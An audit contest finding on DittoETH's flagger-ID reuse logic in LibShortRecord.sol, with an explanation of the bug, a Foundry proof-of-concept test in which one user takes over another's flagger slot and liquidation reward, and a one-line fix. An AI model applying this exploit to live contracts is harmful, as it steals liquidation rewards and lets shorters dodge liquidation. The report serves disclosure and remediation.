DittoETH
Ditto
DeFiFoundryOracle
55,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Short flagger can be overwritten while it is still active

shaka

Summary

The flagger of a short can be overwritten by another address in the period where the short can only be liquidated by the flagger.

Vulnerability Details

LibShortRecord.sol:setFlagger() receives a flaggerHint parameter that indicates the flaggerId to be re-used by the new flagger.

The function checks that the flaggerHint can be re-used by checking that it is assigned to an address different from the address zero and that there are no active shorts with that flaggerId.

387 address flaggerToReplace = s.flagMapping[flaggerHint];
388
389 uint256 timeDiff = flaggerToReplace != address(0)
390 ? LibOrders.getOffsetTimeHours()
391 - s.assetUser[cusd][flaggerToReplace].g_updatedAt
392 : 0;
393 //@dev re-use an inactive flaggerId
394 if (timeDiff > LibAsset.firstLiquidationTime(cusd)) {

The issue is that the check for inactive shorts, done in line 394, is done using the firstLiquidationTime of the asset, which is the time after which a short can be liquidated only by the flagger, instead of using the secondLiquidationTime of the asset, which is the time after which a short can be liquidated by anyone.

Impact

The flagger of a short can be overwritten by a subsequent flagger, allowing the subsequent flagger to liquidate the short and receive the liquidation reward that should have gone to the original flagger. This, in time, will lead to users not being incentivized to flag shorts, as they might not receive the liquidation reward.

Another consequence of this bug is that the shorter could extend the grace period of their short by overwriting the flagger of their short using a different account. This would allow the shorter to avoid liquidation for a longer period, in case there are expectations of favorable price changes or having more time to increase their collateral.

Proof of Concept

Add the following code snippet into test/MarginCallFlagShort.t.sol and run forge test --mt testOverwriteFlagId.

function testOverwriteFlagId() public {
address alice = makeAddr("Alice");
address bob = makeAddr("Bob");
​
// Create first short
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender);
fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
_setETH(2500 ether);
​
// Alice flags first short
vm.prank(alice);
diamond.flagShort(asset, sender, Constants.SHORT_STARTING_ID, 0);
STypes.ShortRecord memory shortRecord
= diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID);
​
// First short has flaggerId 1
assertEq(shortRecord.flaggerId, 1);
// flaggerId 1 is Alice
assertEq(diamond.getFlagger(shortRecord.flaggerId), alice);
// Create second short
setETH(4000 ether);
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT * 2, receiver);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT * 2, sender);
// After 10 hours and 1 second from first short flagged, Bob flags the second short
// passing in flaggerHint 1
skipTimeAndSetEth({skipTime: TEN_HRS_PLUS, ethPrice: 2500 ether});
uint16 flaggerHint = uint16(shortRecord.flaggerId);
vm.prank(bob);
diamond.flagShort(asset, sender, Constants.SHORT_STARTING_ID + 1, flaggerHint);
STypes.ShortRecord memory secondShortRecord
= diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID + 1);
shortRecord = diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID);
​
// Both shorts records have flaggerId 1
assertEq(shortRecord.flaggerId, 1);
assertEq(secondShortRecord.flaggerId, 1);
// flaggerId is now Bob
assertEq(diamond.getFlagger(shortRecord.flaggerId), bob);
​
// Alice tries to liquidate the first short, but it reverts
vm.prank(alice);
vm.expectRevert(Errors.MarginCallIneligibleWindow.selector);
diamond.liquidate(asset, sender, Constants.SHORT_STARTING_ID, shortHintArrayStorage);
​
// Bob successfully liquidates the first short
vm.prank(bob);
diamond.liquidate(asset, sender, Constants.SHORT_STARTING_ID, shortHintArrayStorage);
}

Tools Used

Manual inspection.

Recommendations

File: contracts/libraries/LibShortRecord.sol
​
//@dev re-use an inactive flaggerId
- if (timeDiff > LibAsset.firstLiquidationTime(cusd)) {
+ if (timeDiff > LibAsset.secondLiquidationTime(cusd)) {
delete s.assetUser[cusd][flaggerToReplace].g_flaggerId;
short.flaggerId = flagStorage.g_flaggerId = flaggerHint;
Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-533

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.